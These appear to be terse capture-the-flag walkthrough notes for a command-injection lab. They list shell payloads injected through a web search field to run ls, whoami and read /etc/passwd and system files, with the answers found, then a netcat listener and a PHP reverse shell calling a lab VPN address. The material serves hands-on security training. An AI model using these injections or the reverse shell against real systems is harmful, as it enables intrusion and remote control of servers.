test; ls
drpepper.txt
test; cat /etc/passwd
0
test; whoami
www-data
test; cat /etc/passwd |grep www-data
/usr/sbin/nologin
test ; cat /etc/os-release
or
test ; lsb_release -a
18.04.4
test ; locate 00-header
test ; cat /etc/update-motd.d/00-header
Dr Pepper
- On your machine
- Open a localport on your machine
nc -lvnp 9001
- On vulnerable webpage
- Spawn this remote shell in the search input.
Replace 10.18.1.159 with your own VPN IP
test; php -r '$sock=fsockopen("10.18.1.159",9001);`sh <&3 >&3 2>&3`;'
 (1) (1).png)